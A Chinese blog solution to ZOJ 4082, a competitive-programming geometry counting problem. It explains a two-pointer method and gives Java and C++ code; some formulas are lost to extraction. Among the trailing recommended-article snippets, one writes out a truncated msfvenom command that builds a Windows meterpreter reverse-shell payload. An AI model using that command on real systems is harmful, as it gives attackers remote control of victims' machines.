题意

f(u,v):x小于等于u且y小于等于v的点才对f有贡献,每个这样的点贡献(u-x)+()

思路

=f(u_2,v_2)" class="mathcode" src="https://private.codecogs.com/gif.latex?u_1%20%5Cge%20u_2%20%5C%3B%20and%20%5C%3B%20v_1%20%5Cge%20v_2%20%5Cquad%20%5CRightarrow%20%5Cquad%20f%28u_1%2Cv_1%29%3E%3Df%28u_2%2Cv_2%29">

且等号当且仅当时取。

因此对于输入的0)" class="mathcode" src="https://private.codecogs.com/gif.latex?C%28C%3E0%29">,对于1个特定的,至多有一个似的. (标号①)

当我们固定一个变量的时候,关于另一个变量是单调的。 (标号②)

因此,我选择横竖两条线移动。

初始状态u=0,v=N.此时f值显然过小。

对于一个状态,

如果f过小,则只能往竖线右调,f才可能增大。

如果f过大,则只能横线往下调。

如果f刚好,答案计数加1,同时,这个u已经不可能有v符合了。往右调(其实往下调也行,关键是要固定一种走法)。

f过小时,v往上调是没有意义的,因为初始状态是v所能取的最大值(N),能到达目前的状态,是从前面的太大或者已经计数过的答案状态转移过来的。往上调就是是走回头路,回去要不就是f过大,要不就是已经计数了的恰好等于f的状态。

同理,f过大时,竖线左调是没有意义的。

同时根据(标号①)的结论易证,不会有情况疏漏掉。

换句话说,如此移动,不重不漏,至多移动2N次。

具体可以参考C++源码

注意,getCount不要用二分,直接枚举就好了。

二分反而会更慢,慢原因是二分需要先排序,排序是,是排序数组片段长度。

而注意到getCount(u,v)每一个u至多查询1次,直接枚举是,反而复杂度更低。

复杂度估计,由于每个片段至多查询一次,且最坏情况下所有片段都查询了。因此对于一个输入C,总的复杂度是.

有个2倍是因为对反过来的rp也要考虑。

因此总复杂度是

不考虑系数,大概带入数字算一下。不超过20*10*10^5+(1000-20)*10*10^4=1.18*10^8.

4s时间限制是OK的。

源码

java(Tle)

java一开始我的java jdk时1.8.ZOJ评测时1.7.莫名RE

后来用1.7,还是莫名RE.

最后故意加死循环,提交。二分测试发现ZOJ Java switch不支持枚举型变量。黑人问号。

最后无奈改成if语句,然后从Re变成Tle了。根据网上的进行了输入输出优化还是不行。

import java.util.*;
import java.io.*;
public class Main {
static StreamTokenizer cin = new StreamTokenizer(new BufferedReader(new InputStreamReader(System.in)));
static PrintWriter cout = new PrintWriter(new OutputStreamWriter(System.out));
public static void main(String[] args) {
try {
cin.nextToken();
int cnt = (int) cin.nval;
LittleSubAndHisGeometryProblem p;
for (int i = 0;i < cnt; ++i) {
p = new LittleSubAndHisGeometryProblem();
p.run();
}
cout.flush();
} catch (Exception e) { }
}
} class LittleSubAndHisGeometryProblem{
final int N;
int pointCnt;
PointsSys normal;
PointsSys reverse;
int queryCnt; LittleSubAndHisGeometryProblem() throws Exception { Main.cin.nextToken();
N = (int)Main.cin.nval; Main.cin.nextToken(); pointCnt = (int)Main.cin.nval; // 做准备工作,方便满足“a=a0,b<=b0的点的个数及他们的b之和”
normal = new PointsSys();
reverse = new PointsSys();
int x,y;
for (int i = 0;i < pointCnt; ++i) {
Main.cin.nextToken();
x = (int)Main.cin.nval;
Main.cin.nextToken();
y = (int)Main.cin.nval;
normal.add(x,y);
reverse.add(y,x);
} Main.cin.nextToken();
queryCnt = (int)Main.cin.nval;
} class PointSysQueryInfo{
int cnt = 0;
long sum = 0;
void add(long a) {
++cnt;
sum += a;
}
} class PointsSys{
int cnt;
ArrayList<ArrayList<Integer>> p; PointsSys() {
p = new ArrayList<ArrayList<Integer>>();
for (int i = 0;i <= N; ++i)
p.add(new ArrayList<Integer>());
} void add(int x,int y) {
p.get(x).add(y);
} void query(int x,int y,PointSysQueryInfo change) {
// 返回X值恰好为x,且Y值小于等于y的所有点的信息
// 返回点数和sigama(y-Yi) Yi取遍所有的满足要求的点的Y
change.cnt = 0;
change.sum = 0;
ArrayList<Integer> list = p.get(x);
for (int Y : list)
if (Y <= y)
change.add(y-Y);
}
} public enum Move{
Right,Down
} void count() {
// 求解符合题意的方案数
queryAns = 0;
if (2L*N*pointCnt <= c)
return;
int u = 0;
int v = N;
PointSysQueryInfo curr = new PointSysQueryInfo();
PointSysQueryInfo change = new PointSysQueryInfo();
Move moveFlag = Move.Right;
//boolean first = true;
while (u <= N && v > 0) {
if (curr.sum == c)
++queryAns;
if (moveFlag == Move.Right) { // Go Right
++u;
if (u > N) return;
normal.query(u, v ,change);
curr.sum += change.sum + curr.cnt;
curr.cnt += change.cnt;
} else { // Go Down
if (v <= 0) return;
reverse.query(v,u,change);
--v;
curr.cnt -= change.cnt;
curr.sum -= change.sum+curr.cnt;
}
if (curr.sum >= c)
moveFlag = Move.Down;
else
moveFlag = Move.Right;
}
return;
} long c;
int queryAns;
void run() throws Exception {
boolean first = true; for (int i = 0; i < queryCnt; ++i) { Main.cin.nextToken();
c = (long)Main.cin.nval; count();
if (first) {
Main.cout.print(queryAns);
first = false;
} else {
Main.cout.print(" "+queryAns);
}
}
Main.cout.println();
}
}

C++ (AC)

#include <bits/stdc++.h>
using namespace std;
const int kMaxN = 100005;
int N,K;
vector<int>p[kMaxN];
vector<int>rp[kMaxN]; void getCount(vector<int>&p,int b,int &cnt,long long &s) {
cnt = 0;
s = 0;
for (auto y : p)
if (y <= b) {
++cnt;
s += b-y;
}
} int count(long long c) {
if (c >= 2ll*(long long)N*(long long)K)
return 0;
int u = 0;
int v = N;
int ans = 0;
bool isGoRight = true;
long long f,f0;
int cnt,cnt0;
f = 0; cnt = 0;
while (u <= N && v >= 1) {
if (f == c)
++ans;
if (isGoRight) { // Go Right
++u;
getCount(p[u],v,cnt0,f0);
f += f0+(long long)cnt;
cnt += cnt0;
} else { // Go Down
getCount(rp[v],u,cnt0,f0);
--v;
cnt -= cnt0;
f -= f0+(long long)cnt;
}
isGoRight = f < c;
}
return ans;
} void work() {
cin>>N>>K;
for (int i = 0; i <= N; ++i) {
p[i].clear();
rp[i].clear();
}
int x,y;
for (int i = 0;i < K; ++i) {
cin>>x>>y;
p[x].push_back(y);
rp[y].push_back(x);
}
int Q;
cin>>Q;
long long c;
int ans;
for (int i = 0; i < Q; ++i) {
cin>>c;
ans = count(c);
if (i)
cout<<' '<<ans;
else
cout<<ans;
}
cout<<'\n';
} int main()
{
ios::sync_with_stdio(false);
cin.tie(0);
int T;
cin>>T;
while (T--)
work();
return 0;
}

ZOJ 4082 Little Sub and his Geometry Problem题解的更多相关文章

  1. ZOJ - 4082:Little Sub and his Geometry Problem (双指针)

    Little Sub loves math very much, and has just come up with an interesting problem when he is working ...

  2. ZOJ Monthly, January 2019 Little Sub and his Geometry Problem 【推导 + 双指针】

    传送门:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=5861 Little Sub and his Geometry Prob ...

  3. HDU1086You can Solve a Geometry Problem too(判断线段相交)

    You can Solve a Geometry Problem too Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/3 ...

  4. codeforces 361 E - Mike and Geometry Problem

    原题: Description Mike wants to prepare for IMO but he doesn't know geometry, so his teacher gave him ...

  5. hdu 1086 You can Solve a Geometry Problem too

    You can Solve a Geometry Problem too Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/3 ...

  6. CodeForces 689E Mike and Geometry Problem (离散化+组合数)

    Mike and Geometry Problem 题目链接: http://acm.hust.edu.cn/vjudge/contest/121333#problem/I Description M ...

  7. Codeforces Gym 100338B Geometry Problem 计算几何

    Problem B. Geometry ProblemTime Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://acm.hust.edu.cn/vjudg ...

  8. you can Solve a Geometry Problem too(hdoj1086)

    Problem Description Many geometry(几何)problems were designed in the ACM/ICPC. And now, I also prepare ...

  9. (hdu step 7.1.2)You can Solve a Geometry Problem too(乞讨n条线段,相交两者之间的段数)

    称号: You can Solve a Geometry Problem too Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/ ...

随机推荐

  1. 浅谈单利模式及其应用场景(Python)

    python 中的单利模式 使用场景: + Python的logger就是一个单例模式,用以日志记录 + Windows的资源管理器是一个单例模式 + 线程池,数据库连接池等资源池一般也用单例模式 + ...

  2. msf制作反弹shell

    msf制作shell 1 .制作反弹shell-exe文件 执行命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LP ...

  3. Android Studio 3.6 正式版终于发布了

    Google 下载地址 百度云 下载地址 密码:epl9 如题,Android Studio 3.6 正式版终于发布了,值得兴奋呀,毕竟 3.5 大版本更新也已经差不多半年了,撒花撒花!这次更新又更新 ...

  4. Linux系统WEB服务之Nginx基础入门

    一.Nginxi简介 Nginx是什么?它是一个开源.高性能的WEB服务器软件和代理服务器软件,由俄罗斯人Igor Sysoev 开发实现.它的功能主要分三类,第一是它作为一个WEB服务软件使用:第二 ...

  5. codewars--js--Reverse or rotate?----es6变量,箭头函数,正则取块

    问题描述: 对输入的str按照sz个数进行分块,若一块内所有数字的立方和是偶数,则倒序:否则,向左移动一位.然后将修改过的块整合到一个字符串,作为输出. The input is a string s ...

  6. DOTNET Core MVC (一)

    以控台的形式,运行.net core mvc 代码, Host.CreateDefaultBuilder(args) .ConfigureWebHostDefaults(webBuilder => ...

  7. JS中this的几种情况

    1.给元素的某个事件行为绑定方法,事件触发,方法执行,此时方法中的this一般都是当前元素本身: <div id="div"></div> div.oncl ...

  8. Sql Server Proc 先看看简单吧

    CREATE PRoc [名字] { @参数 数据类型, @参数 数据类型 OUTPUT[输入] } AS begin select INSERT UPDATE (SQL) end --基本语句快 - ...

  9. SpringBoot缓存 --(二)Redis单机缓存

    pom.xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId> ...

  10. js删除对象数组

    若用remove删除某个对象数组,使用for循环遍历数组中的每个对象进行删除,则必须从数组的最后一个元素倒序删除,否则每次删除都只能删除数组的一半元素,因为把索引为0的子节点删除后那么很自然的原来索引 ...